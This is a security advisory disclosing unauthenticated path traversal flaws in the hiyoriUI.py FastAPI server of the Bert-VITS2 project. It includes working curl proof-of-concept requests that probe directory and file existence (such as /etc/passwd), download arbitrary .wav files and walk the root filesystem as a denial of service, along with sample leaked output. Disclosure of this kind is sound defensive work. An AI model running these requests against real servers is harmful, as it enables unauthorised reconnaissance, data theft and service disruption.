Title: Unauthenticated Path Traversal in hiyoriUI.py allows Arbitrary Directory Enumeration, File Existence Probing, and File Read
Description:
Multiple Path Traversal vulnerabilities in the hiyoriUI.py API server allow unauthenticated external attackers to enumerate arbitrary directories, probe for the existence of arbitrary files, read arbitrary .wav files, and trigger recursive directory walks (causing potential DoS) on the host system. The server binds to 0.0.0.0 by default with zero authentication, exposing all vulnerable endpoints to the network.
The hiyoriUI.py script uses FastAPI to expose several endpoints for model and audio management. These endpoints directly consume user-provided file paths from query parameters without any sanitization, validation, or path canonicalization. Specifically:
-
/models/get_localand/models/get_unloaded: Theroot_dirparameter is directly passed toos.listdir()in the internal_get_all_models()function. An attacker can determine whether arbitrary directories exist on the server via the differential HTTP response (HTTP 200 for existing directories vs. HTTP 500 for non-existent ones), enabling systematic filesystem structure enumeration. -
/tools/get_audio: Thepathparameter is used inos.path.isfile()and thenFileResponse(). While it checks for a.wavfile extension, theos.path.isfile()check executes before the extension validation. This creates a file existence oracle: attackers receive differing HTTP responses (status 18for non-existent files,status 19for existing non-wav files) that reveal whether any arbitrary file exists on the server. Furthermore, any.wavfile anywhere on the filesystem can be downloaded. -
/tools/random_example: Theroot_dirparameter is passed directly toos.walk(), allowing recursive traversal of arbitrary directory trees. This can cause severe CPU/IO exhaustion if directed at the root/or other deeply nested directories (DoS), and anytrain.list/val.listfiles found during the walk are read and their contents are exposed.
Since hiyoriUI.py executes uvicorn.run(app, host="0.0.0.0", port=...), these interfaces are exposed to all network interfaces, making this a zero-click, unauthenticated remote vulnerability. The only warning in the code is a log message (logger.warning("本地服务,请勿将服务端口暴露于外网")), but the server still binds to 0.0.0.0 regardless.
1. Directory Existence Oracle (/models/get_local):
# Existing directory → HTTP 200
curl -s "http://<target_ip>:5000/models/get_local?root_dir=/etc"
# Response: {} (HTTP 200, confirming /etc exists)
# Non-existent directory → HTTP 500
curl -s "http://<target_ip>:5000/models/get_local?root_dir=/nonexistent_random_path"
# Response: HTTP 500 Internal Server Error (confirming directory does not exist)2. File Existence Oracle (/tools/get_audio):
# Existing file (non-wav) → status 19
curl -s "http://<target_ip>:5000/tools/get_audio?path=/etc/passwd"
# Response: {"status":19,"detail":"非wav格式文件"} — confirms /etc/passwd EXISTS
# Non-existent file → status 18
curl -s "http://<target_ip>:5000/tools/get_audio?path=/etc/doesnotexist"
# Response: {"status":18,"detail":"指定音频不存在"} — confirms file does NOT exist3. Arbitrary .wav File Read (/tools/get_audio):
curl -s "http://<target_ip>:5000/tools/get_audio?path=/path/to/any/file.wav" --output stolen_audio.wav4. Recursive Directory Walk / DoS (/tools/random_example):
curl -s "http://<target_ip>:5000/tools/random_example?root_dir=/"
# Triggers os.walk("/") — recursively walks entire filesystem, potential DoS$ curl -H "Accept: application/json" "http://127.0.0.1:5000/tools/get_audio?path=/etc/passwd"
{"status":19,"detail":"非wav格式文件"}
$ curl -H "Accept: application/json" "http://127.0.0.1:5000/tools/get_audio?path=/etc/doesnotexist"
{"status":18,"detail":"指定音频不存在"}
$ curl -s "http://127.0.0.1:5000/models/get_local?root_dir=/etc"
{"hosts":[],"shadow":[],"passwd":[],"cron.d":[]}
(The differing responses (status 18 vs 19) clearly indicate whether an arbitrary file exists on the filesystem. The /models/get_local response leaks subdirectory names from /etc.)
- Confidentiality: An unauthenticated remote attacker can enumerate the entire server filesystem structure by probing directory and file existence. The attacker can also read arbitrary
.wavfiles, which may contain sensitive voice training data or proprietary audio assets. The file existence oracle further enables targeted reconnaissance for configuration files, SSH keys, and other sensitive data. - Availability: Directing
/tools/random_exampleat the root directory/triggersos.walk("/"), which recursively traverses the entire filesystem. This can exhaust I/O and CPU resources, causing Denial of Service (DoS).
- Ecosystem: Python / FastAPI
- Package name: fishaudio/Bert-VITS2
- Affected versions: All versions containing
hiyoriUI.py(verified on latest commit) - Patched versions:
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
| Permalink | Description |
|---|---|
| https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L510-L513 | _get_all_models lists files from the user-controlled root_dir via os.listdir(). Exposed via both /models/get_local and /models/get_unloaded. |
| https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L716-L727 | get_audio endpoint accepts an arbitrary path, performs os.path.isfile() (file existence oracle) and FileResponse() (arbitrary .wav read). |
| https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L634-L654 | random_example traverses directories starting from user-provided root_dir via os.walk(). |
| https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L733-L735 | Server binds to 0.0.0.0 (all interfaces) without any authentication, exposing all endpoints. |